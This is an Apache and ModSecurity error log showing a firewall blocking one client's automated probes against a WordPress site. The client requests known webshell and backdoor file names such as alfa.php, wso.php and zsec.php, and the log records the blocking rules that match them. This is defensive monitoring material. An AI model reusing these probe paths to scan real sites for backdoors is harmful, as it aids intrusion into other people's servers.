[Thu Feb 26 21:03:46.162437 2026] [:error] [pid 55051:tid 55062] [client 20.216.146.160:14678] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaBEsgmK1w2kZvh5eLGm_AAAAIg"]
[Thu Feb 26 21:03:46.630967 2026] [:error] [pid 3883:tid 3892] [client 20.216.146.160:21198] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-monamon.php"] [unique_id "aaBEsuA33x90V6yYHajfzwAAAUY"]
[Thu Feb 26 21:03:47.100119 2026] [:error] [pid 55051:tid 55077] [client 20.216.146.160:34119] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaBEswmK1w2kZvh5eLGnAgAAAJc"]
[Thu Feb 26 21:03:47.569813 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:11022] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaBEs22sMNmj-yekUk0WmgAAAgQ"]
[Thu Feb 26 21:03:48.040793 2026] [:error] [pid 44444:tid 44462] [client 20.216.146.160:21257] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaBEtG2sMNmj-yekUk0WngAAAgw"]
[Thu Feb 26 21:03:48.509225 2026] [:error] [pid 44444:tid 44461] [client 20.216.146.160:34790] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/assets/"] [unique_id "aaBEtG2sMNmj-yekUk0WogAAAgs"]
[Thu Feb 26 21:03:48.978831 2026] [:error] [pid 44444:tid 44457] [client 20.216.146.160:14959] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaBEtG2sMNmj-yekUk0WpwAAAgc"]
[Thu Feb 26 21:03:49.452846 2026] [:error] [pid 44444:tid 44455] [client 20.216.146.160:49676] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaBEtW2sMNmj-yekUk0WqgAAAgU"]
[Thu Feb 26 21:03:49.933854 2026] [:error] [pid 3883:tid 3902] [client 20.216.146.160:36506] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaBEteA33x90V6yYHajf0wAAAVA"]
[Thu Feb 26 21:03:50.407960 2026] [:error] [pid 44444:tid 44466] [client 20.216.146.160:11055] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-includes/sitemaps/"] [unique_id "aaBEtm2sMNmj-yekUk0WswAAAhA"]
[Thu Feb 26 21:03:50.880122 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:11045] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBEtm2sMNmj-yekUk0WtgAAAhY"]
[Thu Feb 26 21:03:51.352641 2026] [:error] [pid 55051:tid 55056] [client 20.216.146.160:31934] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBEtwmK1w2kZvh5eLGnDgAAAII"]
[Thu Feb 26 21:03:51.823708 2026] [:error] [pid 55051:tid 55068] [client 20.216.146.160:11304] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBEtwmK1w2kZvh5eLGnEAAAAI4"]
[Thu Feb 26 21:03:52.295463 2026] [:error] [pid 55618:tid 55636] [client 20.216.146.160:36527] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aaBEuB61Vrh12f_8oWQJVAAAAQ8"]
[Thu Feb 26 21:03:52.764858 2026] [:error] [pid 55051:tid 55078] [client 20.216.146.160:5703] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/core.php"] [unique_id "aaBEuAmK1w2kZvh5eLGnEwAAAJg"]
[Thu Feb 26 21:03:53.237567 2026] [:error] [pid 25311:tid 25323] [client 20.216.146.160:36504] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/core.php"] [unique_id "aaBEudfdM__yZAgJFSvc5AAAAYk"]
[Thu Feb 26 21:03:53.708773 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:36524] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/core.php"] [unique_id "aaBEuW2sMNmj-yekUk0WwAAAAgY"]
[Thu Feb 26 21:03:54.181064 2026] [:error] [pid 20419:tid 20425] [client 20.216.146.160:31880] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/core.php"] [unique_id "aaBEuu3DVDvMfTYYUBVSuQAAAcM"]
[Thu Feb 26 21:03:54.654066 2026] [:error] [pid 55122:tid 55148] [client 20.216.146.160:5739] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aaBEuoLiR0OfjFxvcN8tzAAAANg"]
[Thu Feb 26 21:03:55.124766 2026] [:error] [pid 25311:tid 25338] [client 20.216.146.160:14947] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aaBEu9fdM__yZAgJFSvc5gAAAZg"]
[Thu Feb 26 21:03:55.594206 2026] [:error] [pid 44444:tid 44452] [client 20.216.146.160:3400] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aaBEu22sMNmj-yekUk0WxAAAAgI"]
[Thu Feb 26 21:03:56.063705 2026] [:error] [pid 44444:tid 44459] [client 20.216.146.160:14966] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/about.php"] [unique_id "aaBEvG2sMNmj-yekUk0WyQAAAgk"]
[Thu Feb 26 21:03:56.534726 2026] [:error] [pid 54991:tid 55021] [client 20.216.146.160:21295] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/log.php"] [unique_id "aaBEvN4Zx-mJ8gbRB2jkAwAAAEE"]
[Thu Feb 26 21:03:57.010370 2026] [:error] [pid 55122:tid 55125] [client 20.216.146.160:14944] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/log.php"] [unique_id "aaBEvYLiR0OfjFxvcN8t0AAAAME"]
[Thu Feb 26 21:03:57.480441 2026] [:error] [pid 54990:tid 55013] [client 20.216.146.160:11594] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/log.php"] [unique_id "aaBEvXtr2qmt_mBhH2wm_wAAABQ"]
[Thu Feb 26 21:03:57.949836 2026] [:error] [pid 55122:tid 55147] [client 20.216.146.160:11310] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/log.php"] [unique_id "aaBEvYLiR0OfjFxvcN8t0QAAANc"]
[Thu Feb 26 21:03:58.421521 2026] [:error] [pid 44444:tid 44465] [client 20.216.146.160:11295] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zsec.php"] [unique_id "aaBEvm2sMNmj-yekUk0W0QAAAg8"]
[Thu Feb 26 21:03:58.890834 2026] [:error] [pid 44444:tid 44458] [client 20.216.146.160:11079] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zsec.php"] [unique_id "aaBEvm2sMNmj-yekUk0W0wAAAgg"]
[Thu Feb 26 21:03:59.358894 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:31875] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zsec.php"] [unique_id "aaBEv22sMNmj-yekUk0W1AAAAgo"]
[Thu Feb 26 21:03:59.826405 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:3406] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/zsec.php"] [unique_id "aaBEv22sMNmj-yekUk0W1gAAAgQ"]
[Thu Feb 26 21:04:00.305207 2026] [:error] [pid 20419:tid 20445] [client 20.216.146.160:11635] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaBEwO3DVDvMfTYYUBVSwQAAAdc"]
[Thu Feb 26 21:04:00.780545 2026] [:error] [pid 55618:tid 55640] [client 20.216.146.160:36543] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaBEwB61Vrh12f_8oWQJYQAAARM"]
[Thu Feb 26 21:04:01.255015 2026] [:error] [pid 44444:tid 44471] [client 20.216.146.160:36538] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaBEwW2sMNmj-yekUk0W2gAAAhU"]
[Thu Feb 26 21:04:01.726841 2026] [:error] [pid 3883:tid 3893] [client 20.216.146.160:36501] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aaBEweA33x90V6yYHajf2wAAAUc"]
[Thu Feb 26 21:04:02.201595 2026] [:error] [pid 3883:tid 3907] [client 20.216.146.160:41135] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hi.php"] [unique_id "aaBEwuA33x90V6yYHajf3AAAAVU"]
[Thu Feb 26 21:04:02.674088 2026] [:error] [pid 44444:tid 44464] [client 20.216.146.160:3434] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hi.php"] [unique_id "aaBEwm2sMNmj-yekUk0W3QAAAg4"]
[Thu Feb 26 21:04:03.145530 2026] [:error] [pid 55122:tid 55126] [client 20.216.146.160:11086] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hi.php"] [unique_id "aaBEw4LiR0OfjFxvcN8t0wAAAMI"]
[Thu Feb 26 21:04:03.614504 2026] [:error] [pid 3883:tid 3904] [client 20.216.146.160:34932] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hi.php"] [unique_id "aaBEw-A33x90V6yYHajf3wAAAVI"]
[Thu Feb 26 21:04:04.086319 2026] [:error] [pid 3883:tid 3890] [client 20.216.146.160:34895] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaBExOA33x90V6yYHajf4AAAAUQ"]
[Thu Feb 26 21:04:04.561731 2026] [:error] [pid 25311:tid 25316] [client 20.216.146.160:5706] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaBExNfdM__yZAgJFSvc6QAAAYI"]
[Thu Feb 26 21:04:05.031336 2026] [:error] [pid 25311:tid 25320] [client 20.216.146.160:10950] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaBExdfdM__yZAgJFSvc6gAAAYY"]
[Thu Feb 26 21:04:05.500762 2026] [:error] [pid 55618:tid 55630] [client 20.216.146.160:31300] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/cong.php"] [unique_id "aaBExR61Vrh12f_8oWQJYwAAAQk"]
[Thu Feb 26 21:04:05.969179 2026] [:error] [pid 55051:tid 55067] [client 20.216.146.160:11097] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBExQmK1w2kZvh5eLGnJwAAAI0"]
[Thu Feb 26 21:04:06.443555 2026] [:error] [pid 55051:tid 55054] [client 20.216.146.160:10971] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBExgmK1w2kZvh5eLGnKQAAAIA"]
[Thu Feb 26 21:04:06.920511 2026] [:error] [pid 44444:tid 44470] [client 20.216.146.160:46224] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBExm2sMNmj-yekUk0W3wAAAhQ"]
[Thu Feb 26 21:04:07.390119 2026] [:error] [pid 44444:tid 44456] [client 20.216.146.160:10994] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aaBEx22sMNmj-yekUk0W4QAAAgY"]
[Thu Feb 26 21:04:07.858670 2026] [:error] [pid 44444:tid 44460] [client 20.216.146.160:41108] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.wp/wso.php"] [unique_id "aaBEx22sMNmj-yekUk0W5AAAAgo"]
[Thu Feb 26 21:04:08.337644 2026] [:error] [pid 44444:tid 44454] [client 20.216.146.160:37806] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.wp/wso.php"] [unique_id "aaBEyG2sMNmj-yekUk0W5gAAAgQ"]
[Thu Feb 26 21:04:08.812654 2026] [:error] [pid 44444:tid 44472] [client 20.216.146.160:37795] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/.wp/wso.php"] [unique_id "aaBEyG2sMNmj-yekUk0W6QAAAhY"]
[Thu Feb 26 21:04:14.641903 2026] [autoindex:error] [pid 20419:tid 20439] [client 20.216.146.160:36538] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 21:04:14.884306 2026] [autoindex:error] [pid 55051:tid 55061] [client 20.216.146.160:29323] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 21:04:15.120093 2026] [:error] [pid 55051:tid 55073] [client 20.216.146.160:29323] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaBEzwmK1w2kZvh5eLGnNwAAAJM"]
[Thu Feb 26 21:04:29.092257 2026] [autoindex:error] [pid 44444:tid 44472] [client 20.216.146.160:56039] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 26 21:04:42.830537 2026] [:error] [pid 44444:tid 44465] [client 20.216.146.160:56039] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/start.php"] [unique_id "aaBE6m2sMNmj-yekUk0XIAAAAg8"]
[Thu Feb 26 21:04:43.300323 2026] [:error] [pid 25311:tid 25331] [client 20.216.146.160:40302] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/start.php"] [unique_id "aaBE69fdM__yZAgJFSvdAgAAAZE"]
[Thu Feb 26 21:04:43.770192 2026] [:error] [pid 44444:tid 44464] [client 20.216.146.160:38652] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/files/start.php"] [unique_id "aaBE622sMNmj-yekUk0XJAAAAg4"]
